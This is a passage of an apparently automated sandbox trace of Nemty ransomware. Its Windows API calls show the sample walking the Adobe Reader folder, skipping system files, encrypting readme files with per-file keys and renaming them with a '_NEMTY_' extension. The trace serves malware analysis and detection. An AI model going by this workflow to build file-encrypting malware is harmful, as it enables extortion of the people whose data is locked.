[0170.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.023] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17033) returned 1 [0170.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4280) returned 0x6351c48 [0170.023] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.023] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x4280, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x4280, lpOverlapped=0x0) returned 1 [0170.026] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.026] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4280, lpOverlapped=0x0) returned 1 [0170.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.026] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17033, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4289 [0170.026] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.026] CloseHandle (hObject=0x1e8) returned 1 [0170.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.027] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm._nemty_kgobjgd_")) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.028] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="...") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="windows") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="$RECYCLE.BIN") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="rsa") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="NTDETECT.COM") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="ntldr") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="MSDOS.SYS") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="IO.SYS") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="boot.ini") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="boot.ini") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="AUTOEXEC.BAT") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="ntuser.dat") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="desktop.ini") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="CONFIG.SYS") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="RECYCLER") returned -1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="BOOTSECT.BAK") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="bootmgr") returned 1 [0170.028] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="programdata") returned -1 [0170.029] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="appdata") returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeiaMe.htm", lpUsedDefaultChar=0x0) returned 10 [0170.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeiaMe.htm", lpUsedDefaultChar=0x0) returned 10 [0170.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeiaMe.htm", lpUsedDefaultChar=0x0) returned 10 [0170.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0170.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeiaMe.htm", lpUsedDefaultChar=0x0) returned 10 [0170.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.029] Sleep (dwMilliseconds=0x5) [0170.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18ff5030, dwHighDateTime=0x1d561e8)) [0170.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18ff5030, dwHighDateTime=0x1d561e8)) [0170.038] GetLastError () returned 0x0 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.038] GetLastError () returned 0x0 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.038] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.038] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="YKsjaUGXHZ7qrN20W11G1ACFRNQ6zS+uZ2ss42nbt7q9lmAcfkHRYB2yr0iF/IGg\r\n1tg2ghxDXs2udIWiUo+Zck27mgsFF7P88JVygHkmvR0zYedhB9gTCaA/9PGA/Owt\r\neyMLVo/VR7rEMNqo5FQSCWvsx5m25ULbCWGUAg+RAPbHQ/c1UZlv/soCWPcmYySO\r\nbiYlX3j0fSpnSAAnAe3Iz7LxpDNGhfSB63VBm9siQpLQwzIgmj8JtkZd/NBz3Tso\r\n88+ccjLzKp/M9jRdjeBlNXgP1mRoL71DTuP86EKBZQofgS+EMwforO21ECw6bnbX\r\nRHkOEtsqh7AmxRXCpsI+Tw==\r\n", pcchString=0x653ef9c) returned 1 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.039] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17011) returned 1 [0170.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4270) returned 0x6351c48 [0170.039] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.039] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x4270, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x4270, lpOverlapped=0x0) returned 1 [0170.041] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.041] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x4270, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4270, lpOverlapped=0x0) returned 1 [0170.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.042] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4273 [0170.042] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.042] CloseHandle (hObject=0x1e8) returned 1 [0170.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.043] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm._nemty_kgobjgd_")) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.043] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0170.043] lstrcmpiW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0170.043] lstrcmpiW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="...") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="windows") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="$RECYCLE.BIN") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="rsa") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="NTDETECT.COM") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="ntldr") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="MSDOS.SYS") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="IO.SYS") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="boot.ini") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="boot.ini") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="AUTOEXEC.BAT") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="ntuser.dat") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="desktop.ini") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="CONFIG.SYS") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="RECYCLER") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="BOOTSECT.BAK") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="bootmgr") returned 1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="programdata") returned -1 [0170.044] lstrcmpiW (lpString1="Liesmich.htm", lpString2="appdata") returned 1 [0170.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Liesmich.htm", lpUsedDefaultChar=0x0) returned 12 [0170.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Liesmich.htm", lpUsedDefaultChar=0x0) returned 12 [0170.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Liesmich.htm", lpUsedDefaultChar=0x0) returned 12 [0170.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Liesmich.htm", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Liesmich.htm", lpUsedDefaultChar=0x0) returned 12 [0170.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.045] Sleep (dwMilliseconds=0x5) [0170.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x1901b190, dwHighDateTime=0x1d561e8)) [0170.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x1901b190, dwHighDateTime=0x1d561e8)) [0170.053] GetLastError () returned 0x0 [0170.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.053] GetLastError () returned 0x0 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.054] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.054] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.054] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.054] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, 